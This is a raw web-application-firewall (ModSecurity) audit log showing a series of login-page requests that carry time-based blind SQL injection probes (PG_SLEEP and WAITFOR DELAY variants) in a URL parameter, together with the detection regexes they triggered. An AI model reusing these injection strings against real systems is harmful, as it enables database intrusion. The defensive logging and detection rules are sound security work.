/login-now/?utm_source=website&utm_medium=top-bar%29%3BSELECT%20PG_SLEEP%285%29--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.87.163 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950536f62fcd6945-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --1f5a2e78-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar);SELECT%20PG_SLEEP(5)--&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --1f5a2e78-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar);SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_medium: top-bar);SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar);SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89VR-kH31pk4mNbsU_EgAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_medium: top-bar);SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89VR-kH31pk4mNbsU_EgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023509772293 464223 (- - -) Stopwatch2: 1750023509772293 464223; combined=3119, p1=358, p2=2616, p3=0, p4=0, p5=144, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1f5a2e78-Z-- --cbbecb29-A-- [16/Jun/2025:03:08:31.351080 +0530] aE89V1R6EeXjkGzEkblk4wAAAAs 162.158.95.248 33010 127.0.0.1 7081 --cbbecb29-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%3BSELECT%20PG_SLEEP%285%29--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.248 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950537001afe9f2e-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --cbbecb29-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar;SELECT%20PG_SLEEP(5)--&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --cbbecb29-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar;SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_medium: top-bar;SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar;SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89V1R6EeXjkGzEkblk4wAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_medium: top-bar;SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89V1R6EeXjkGzEkblk4wAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023511126468 224712 (- - -) Stopwatch2: 1750023511126468 224712; combined=3252, p1=409, p2=2650, p3=0, p4=0, p5=192, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cbbecb29-Z-- --21302b42-A-- [16/Jun/2025:03:08:32.675395 +0530] aE89WLsEVBap6l1Fvp1AEgAAAAQ 172.71.172.167 33068 127.0.0.1 7081 --21302b42-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%27%29%3BSELECT%20PG_SLEEP%285%29--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.167 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505370709f0d390-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --21302b42-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar);SELECT%20PG_SLEEP(5)--&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --21302b42-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar');SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_medium: top-bar');SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar');SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89WLsEVBap6l1Fvp1AEgAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_medium: top-bar');SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89WLsEVBap6l1Fvp1AEgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023512465239 210302 (- - -) Stopwatch2: 1750023512465239 210302; combined=3731, p1=306, p2=3263, p3=0, p4=0, p5=162, sr=77, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --21302b42-Z-- --7086e033-A-- [16/Jun/2025:03:08:33.994063 +0530] aE89WUNwpNEMJppxC49RzwAAAAI 172.69.150.95 33098 127.0.0.1 7081 --7086e033-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%27%3BSELECT%20PG_SLEEP%285%29--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.150.95 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505370f589b8c44-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --7086e033-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar;SELECT%20PG_SLEEP(5)--&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --7086e033-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar';SELECT PG_SLEEP(5) found within MATCHED_VAR: top-bar';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar';SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_medium: top-bar';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar';SELECT PG_SLEEP(5) found within MATCHED_VAR: top-bar';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89WUNwpNEMJppxC49RzwAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar';SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89WUNwpNEMJppxC49RzwAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_medium: top-bar';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89WUNwpNEMJppxC49RzwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023513795200 198954 (- - -) Stopwatch2: 1750023513795200 198954; combined=3746, p1=339, p2=3240, p3=0, p4=0, p5=166, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7086e033-Z-- --1045364f-A-- [16/Jun/2025:03:08:34.964985 +0530] aE89Wh-kH31pk4mNbsU_FAAAAAo 172.71.250.27 33148 127.0.0.1 7081 --1045364f-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.250.27 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950537156d752c4b-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --1045364f-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar);WAITFOR%20DELAY%200:0:5--&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --1045364f-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar);WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89Wh-kH31pk4mNbsU_FAAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar);WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89Wh-kH31pk4mNbsU_FAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023514762388 202697 (- - -) Stopwatch2: 1750023514762388 202697; combined=4185, p1=376, p2=3662, p3=0, p4=0, p5=146, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1045364f-Z-- --a4860346-A-- [16/Jun/2025:03:08:35.711839 +0530] aE89W0NwpNEMJppxC49R0AAAAAI 172.71.172.167 33196 127.0.0.1 7081 --a4860346-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.167 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505371b7f37d3a2-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --a4860346-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar;WAITFOR%20DELAY%200:0:5--&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --a4860346-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar;WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev 